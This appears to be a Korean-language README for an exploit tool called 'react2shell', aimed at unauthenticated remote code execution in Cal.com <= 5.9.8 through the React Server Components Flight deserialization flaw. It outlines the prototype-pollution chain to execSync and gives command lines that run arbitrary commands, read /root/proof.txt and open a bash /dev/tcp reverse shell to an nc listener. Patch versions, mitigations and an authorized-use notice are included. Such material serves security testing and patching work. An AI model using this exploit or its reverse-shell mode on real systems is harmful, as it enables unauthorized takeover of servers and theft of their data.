
Cal.com <= 5.9.8에서 React Server Components "Flight" 역직렬화 결함을 통한 인증되지 않은 원격 코드 실행 — "react2shell" (React의 CVE-2025-55182, Next.js의 CVE-2025-66478).
Cal.com은 취약한 Next.js 15.x를 번들로 포함합니다. Next-Action 헤더와 조작된 multipart Flight 페이로드를 담은 단일 인증되지 않은 POST / 요청은 프로토타입 오염 체인(__proto__:then + constructor:constructor)을 따라 서버 사이드 eval에 도달하여 child_process.execSync에 이릅니다. 명령의 출력은 RSC 오류 digest 필드에 인라인으로 반환됩니다. 인증도, 사용자 상호작용도 필요 없습니다. 단일 요청이 곧 RCE입니다.
<= 5.9.8 (RSC를 사용하는 Next.js 15.x / 16.x App Router)5.9.9 (번들된 Next.js 버전 상향)3000pip install requests
# one-off command (output comes back in the response)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# interactive reverse shell (start `nc -lvnp 4444` first)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
일회성 명령은 RSC 오류 digest를 통해 출력을 인라인으로 반환합니다. --shell 모드는 setsid로 분리된 bash /dev/tcp 리버스 셸을 실행합니다 (대상 컨테이너는 Debian이며 bash가 포함되어 있습니다).
Cal.com을 >= 5.9.9로 업그레이드하세요 (패치된 Next.js 버전 중 하나: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7). RSC 서버 함수 핸들러를 신뢰할 수 없는 클라이언트에 노출하지 말고, 앱 컨테이너를 루트로 실행하지 마세요.
승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에만 사용하십시오.